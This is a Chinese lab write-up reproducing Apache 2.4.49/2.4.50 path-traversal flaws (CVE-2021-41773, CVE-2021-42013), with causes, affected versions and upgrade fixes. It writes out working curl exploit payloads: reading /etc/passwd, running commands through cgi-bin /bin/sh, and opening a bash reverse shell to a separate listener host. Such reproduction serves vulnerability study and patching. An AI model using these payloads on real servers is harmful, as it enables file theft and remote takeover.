CVE-2021-41773
漏洞原理
Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中,引入了一个路径体验,满足下面两个条件的 Apache 服务器将受到影响:
版本等于2.4.49
<Directory />Require all granted</Directory>
(默认情况下是允许被访问的)。
攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。
影响版本
Apache HTTP Server 2.4.49
漏洞复现
这里用vulhub环境
可以看见,apache是49版本的
使用如下 CURL 命令来发送 Payload(其中/icons/
必须是一个存在且可访问的目录):
curl -v --path-as-is http://192.168.190.134:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
在服务端开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意cg命令:
curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
或者是
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
修复方法
升级到Apache HTTP Server最新安全版本,或使用Apache HTTP Server 非 2.4.49版
CVE-2021-42013
漏洞原理
Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。
影响版本
Apache 2.4.49 和 Apache 2.4.50
漏洞复现
启动漏洞环境
curl -v --path-as-is http://192.168.190.134:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:
curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
或者
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
修复方法
升级到Apache HTTP Server安全版本。
github上已经有这两个漏洞的检测工具:https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013
参考文章链接:https://mp.weixin.qq.com/s/mTLYkavkf13g4XosFLBjkg